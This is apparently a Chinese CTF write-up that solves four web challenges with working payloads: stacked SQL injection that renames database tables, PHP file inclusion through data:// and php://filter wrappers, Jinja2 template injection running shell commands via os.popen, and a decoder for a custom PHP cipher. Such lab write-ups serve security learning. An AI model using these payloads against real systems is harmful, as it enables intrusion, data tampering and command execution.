supersqli
前言
堆叠注入是一种SQL注入攻击技术,核心原理是利用SQL语句的「语句分隔符」(比如MySQL的;、SQLServer的;),在一个合法请求参数中"堆叠"多个独立的SQL语句,让数据库服务器依次执行,从而实现超出原功能的恶意操作。
核心前提(必须满足)
1.数据库支持多语句执行(大部分主流数据库如MySQL、SQLServer支持,Oracle默认不支持);
2.应用程序的SQL执行函数允许执行多语句(比如PHP的mysqli_multi_query()支持,mysqli_query()默认不支持;Java的Statement支持,PreparedStatement不支持);
3.注入点参数未被严格过滤(比如没拦截;分隔符、drop/insert等危险关键字)。
解题

明显的sql注入

输入1'

发现是单引号闭合
查询字段数
sql
1' order by 2 #

发现是2个字段
查询数据库名称
sql
1' union select 1,database()#

我们发现结果并不是我们想要的,我们的sql注入语句被waf拦截掉了,看报错信息,waf过滤了select, update, delete, drop, insert, where等字符,而且无法进行大小写绕过。那么我们使用堆叠注入
堆叠查询数据库
sql
1'; show databases;#

发现题目中提到的supersqli数据库
获取所有表名
sql
1'; show tables;#

发现2张表:words、1919810931114514
查询words表的字段
sql
1';show columns from words;#

查询1919810931114514表的字段
sql
1'; show columns from `1919810931114514`; #

发现flag
我们看到,服务端默认的查询语句查询出两个字段,说明查询的是words表,我们将表1919810931114514的名字改成words并且将flag字段改为id字段不就行了吗?
先将words表名改为words1:
alter table words rename to words1;
然后将1919810931114514表名改为words
alter table `1919810931114514` rename to words;
最后将flag字段改为id,并将属性设置为varchar
alter table words change flag id varchar(50); -- 1
三条语句需要合并在一起,不然先改了words表名会导致后面无法执行成功:
sql
1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50); #
这里一定要手动输入,直接拷贝可能存在编码问题,一直不成功
最后,通过如下语句查询出flag
sql
1' or 1 = 1 -- 1

得到flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}
web2
打开题目,发现是一段加密算法

添加注释,方便理解
php
<?php
// 待解密的密文(目标:逆向encode函数得到flag)
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
/**
* 加密函数:接收明文,经过5步处理生成密文
* @param string $str 原始明文(如flag)
* @return string 加密后的最终密文
*/
function encode($str){
// 步骤1:反转原始字符串(strrev() 反转字符串,是加密第一步)
$_o=strrev($str);
// echo $_o; // 调试用:输出反转后的字符串(已注释)
// 步骤2:遍历反转后的字符串,每个字符ASCII码+1(核心加密变换)
// $_0:循环计数器(从0开始遍历字符串每个字符)
for($_0=0;$_0<strlen($_o);$_0++){
// 截取反转后字符串的第$_0个字符(substr(字符串, 起始位置, 长度))
$_c=substr($_o,$_0,1);
// 取字符的ASCII码(ord())并+1(加密核心:字符偏移)
$__=ord($_c)+1;
// 将偏移后的ASCII码转回字符(chr())
$_c=chr($__);
// 拼接所有处理后的字符,形成新字符串$_
$_=$_.$_c;
}
// 步骤3-5:组合加密(Base64编码 → 反转编码结果 → ROT13编码)
// 步骤3:对步骤2的结果做Base64编码(将字符转为Base64格式)
// 步骤4:反转Base64编码后的字符串(二次混淆)
// 步骤5:对反转后的Base64字符串做ROT13编码(字母移位13位,对称加密)
return str_rot13(strrev(base64_encode($_)));
}
// 高亮显示当前文件源码(方便查看代码逻辑)
highlight_file(__FILE__);
?>
编写对应解密的代码
php
<?php
$miwen = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
// 解密函数:反向执行encode的加密步骤
function decode($miwen) {
// 步骤1:逆向str_rot13(ROT13是对称加密,执行一次就是解密)
$step1 = str_rot13($miwen);
// 步骤2:逆向strrev(反转Base64结果 → 还原原始Base64字符串)
$step2 = strrev($step1);
// 步骤3:逆向base64_encode → Base64解码
$step3 = base64_decode($step2);
// 步骤4:逆向"每个字符ASCII+1" → 每个字符ASCII-1
$step4 = '';
for ($i = 0; $i < strlen($step3); $i++) {
$c = substr($step3, $i, 1);
$c = chr(ord($c) - 1); // ASCII码减1,还原原始字符
$step4 .= $c;
}
// 步骤5:逆向strrev → 再次反转,得到最终明文(flag)
$flag = strrev($step4);
return $flag;
}
// 执行解密
$flag = decode($miwen);
echo "解密后的flag:" . $flag;
?>
得到flag:flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
fileclude
打开题目是一段php代码,进行代码审计
php
<?php
// 引入flag文件(flag存储在此文件中,核心目标是读取该文件内容)
include("flag.php");
// 高亮显示当前文件源码(方便查看代码逻辑,典型CTF题目的提示方式)
highlight_file(__FILE__);
// 核心逻辑:接收两个GET参数file1和file2,满足条件则包含file1指定的文件
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
// 接收用户传入的GET参数file1和file2(用户可控,存在文件包含漏洞风险)
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
// 校验file1和file2均不为空(非空校验,避免空参数导致的逻辑错误)
if(!empty($file1) && !empty($file2))
{
// 关键条件:读取file2指定的文件内容,必须严格等于"hello ctf"
// file_get_contents($file2):读取文件/资源的内容(支持本地文件、伪协议等)
if(file_get_contents($file2) === "hello ctf")
{
// 条件满足则包含file1指定的文件(漏洞核心:文件包含,可用于读取flag.php)
include($file1);
}
}
else
die("NONONO"); // 若任一参数为空,直接终止程序并输出提示
}
代码的执行条件:
必须传入file1和file2两个非空GET参数;
file_get_contents($file2)必须严格等于字符串helloctf;
满足以上条件后,会include($file1)------这是读取flag.php的关键(文件包含漏洞)。
第一步:满足file2的条件(核心是让file_get_contents($file2)返回helloctf)
file_get_contents不仅能读取本地文件,还支持PHP伪协议(如data://、php://input),我们可以用伪协议直接构造"helloctf"字符串,无需真实文件。
推荐用最简单的data://伪协议(无需额外提交数据,直接通过GET参数完成):
原理:data://伪协议可以直接传入文本内容,格式为data://text/plain,内容(表示传入纯文本内容);
构造file2的值:data://text/plain,helloctf
当file_get_contents($file2)读取这个伪协议时,会直接返回字符串helloctf,完美满足条件。
第二步:利用file1读取flag.php(文件包含漏洞)
include($file1)会解析并执行file1指定的文件,但flag.php已通过include("flag.php")引入当前脚本,直接写file1=flag.php会导致flag被PHP解析而不显示(或仅显示部分内容)。
php
?file1=flag.php&file2=data://text/plain,hello ctf

解决方案:用php://filter伪协议Base64编码读取(避免flag被解析,直接获取源码):
伪协议格式:php://filter/read=convert.base64-encode/resource=flag.php
作用:将flag.php的内容以Base64编码形式读取并返回,既不会被PHP解析,又能完整获取文件内容。
最终payload
php
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf

得到字符串:
PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXs0NDM2YmM1Y2M5MDJjZDU3MWEzMmQzNWM5NjI4YWVmNn0=
进行base64解码

得到flag:cyberpeace{4436bc5cc902cd571a32d35c9628aef6}
Web_python_template_injection
前言
Python 模板注入
Python模板注入是一种服务器端注入漏洞,核心是攻击者通过构造恶意输入,注入到应用程序使用的Python模板引擎中(如Jinja2、Mako、Django模板等),使模板引擎将恶意代码当作模板语法执行,最终实现执行任意命令、读取敏感文件等攻击。
Python模板引擎的设计目的是将动态数据嵌入HTML等静态内容(比如用{{username}}显示当前登录用户)。正常情况下,模板会对用户输入做"转义"或"沙箱限制",仅当作纯文本渲染;但如果开发者未正确过滤用户输入,直接将用户可控数据拼接到模板中执行,就会导致攻击者可以注入恶意模板语法,突破沙箱限制执行代码。
举个典型场景(Jinja2模板):
正常模板代码(安全):returnrender_template_string("Hello,{{name}}",name=request.args.get("name"))
此时用户输入name=test,渲染结果为Hello,test(仅作文本显示)。
漏洞模板代码(不安全):returnrender_template_string("Hello,"+request.args.get("name"))
此时用户输入name={{2*2}},渲染结果为Hello,4(模板引擎执行了2*2计算);若输入恶意代码,就会触发注入攻击。
魔术方法
- class:返回类型所属的对象
2.mro:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
-
base:返回该对象所继承的基类
-
subclasses:每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
-
init:类的初始化方法
-
globals:对包含函数全局变量的字典的引用(这里我本地搭建的环境显示不出来,用题目的环境),通过这个可以找到我们想要的函数模块进行调用。
解题

打开是Python 模板注入(PTI)
测试网页是否存在PTI漏洞
php
{{ 7*7 }}
若页面显示49→ 模板执行了计算,存在 PTI 漏洞;
页面显示{{ 7*7 }}→ 输入被转义,无漏洞。

发现存在PTI漏洞
找到能够执行文件读取和命令执行的类
php
{{''.__class__.__mro__[2].__subclasses__()}}

一个是file,一个是site.Printer
利用site.Printer的os模块执行命令
php
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

发现当前目录下有个fl4g,执行cat fl4g即可
php
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

发现flag:ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}